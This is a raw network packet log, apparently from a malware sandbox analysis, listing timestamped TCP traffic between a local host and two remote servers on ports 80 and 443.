Nov 12, 2024 15:42:09.780009985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780080080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780124903 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780141115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780153036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780163050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780175924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780177116 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780185938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780196905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780205011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780208111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780227900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780237913 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780241013 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780251980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780256987 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780282021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780320883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780330896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780340910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780353069 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780359983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780369043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780375004 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780383110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.780404091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.780427933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.876130104 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.876621962 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.876636028 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.877074003 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.877079010 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.899241924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899260044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899272919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899282932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899296999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899306059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899321079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899332047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899334908 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.899342060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899353981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899364948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899379015 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.899380922 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.899403095 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.899408102 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.949717999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.949755907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.949799061 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.949821949 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.980150938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.980201960 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.980207920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.980223894 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.980232954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.980247021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.980272055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.983901024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.983947039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.983977079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.983987093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.983998060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.984016895 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.984031916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.984038115 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.984042883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.984071016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.984098911 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.010405064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.010416985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.010458946 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.010478020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.014260054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.014278889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.014307976 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.014323950 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.031215906 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.031331062 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.031373978 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.031543970 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.031557083 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.031564951 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.031570911 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.035001993 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.035017014 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.035099030 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.035252094 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.035260916 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.065481901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.065529108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.065534115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.065568924 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.095558882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.095613956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.095679998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.095727921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099268913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099308014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099334002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099343061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099371910 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099384069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099431992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099443913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099452972 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.099467039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099476099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.099494934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.191076040 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.191771030 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.191797018 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.192295074 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.192301035 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.247670889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247730017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.247807026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247818947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247828960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247840881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247853041 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247862101 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.247868061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247900009 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.247915030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.247946978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247960091 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.247999907 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.248136997 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248169899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248181105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248192072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248195887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.248202085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248213053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248217106 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.248224020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.248244047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.248266935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.295622110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.295633078 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.295732021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.321711063 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.321820974 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.321876049 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.322020054 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.322037935 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.322050095 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.322062016 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.324820042 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.324851990 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.324923038 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.325062037 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.325074911 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.330054045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330065966 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330075979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330085993 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330096960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330105066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.330107927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.330125093 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.330158949 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.356568098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.356579065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.356637955 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.361228943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.361273050 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.361274958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.361315966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.411434889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.411446095 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.411492109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.445666075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.445677996 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.445688009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.445741892 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.445760012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.446070910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.446082115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.446091890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.446115017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.446144104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.472489119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.472500086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.472510099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.472548008 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.472563982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.477046967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.477056026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.477102995 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.526367903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.526439905 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.526525974 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.526573896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.560470104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560488939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560501099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560509920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560520887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560530901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.560535908 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.560566902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.560609102 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.587342024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.587352991 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.587363005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.587373018 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.587392092 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.587413073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.591707945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.591756105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.591763973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.591794968 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.641345978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.641418934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.641459942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.641474009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.641511917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.675616026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.675724030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.675750017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.675760984 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.675793886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.676067114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.676086903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.676107883 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.676122904 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.701685905 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.701755047 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.701771975 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.705116987 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.705162048 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.705168009 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.705261946 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.705300093 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.705305099 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.707812071 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.707822084 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.778424025 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.778897047 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.778908968 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.779371023 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.779376030 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.834120035 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.835037947 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.835050106 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.835062027 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.835066080 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.835098982 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.835102081 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.853053093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853095055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853106976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853107929 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853127003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853136063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853137016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853144884 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853147030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853157043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853182077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853182077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853210926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853220940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853230000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853240013 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853241920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853252888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853260994 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853264093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853270054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853288889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853317022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853349924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853360891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853368998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.853382111 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.853400946 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.873828888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.873837948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.873899937 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.939364910 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.939414024 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.939471006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.939502001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.939512968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.939584970 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.939601898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.939613104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.939626932 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.939646959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.939651966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.939927101 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.939938068 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.939951897 CET	49799	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.939955950 CET	443	49799	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.942946911 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:10.942954063 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.960577011 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:10.965331078 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.965341091 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.965389967 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:10.988909006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.988924980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:10.989125967 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.004033089 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.004040003 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.007472038 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.022401094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.022427082 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.022478104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.022509098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.049001932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.049041986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.049052000 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.049082994 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.052918911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.052931070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.052942038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.052970886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.053003073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.055325031 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.072683096 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.074451923 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.074913025 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.074923992 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.075351000 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.075355053 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.075510025 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.075520039 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.080547094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.080569983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.080585957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.080602884 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.080621004 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.105012894 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.105026960 CET	80	49794	185.215.113.16	192.168.2.4
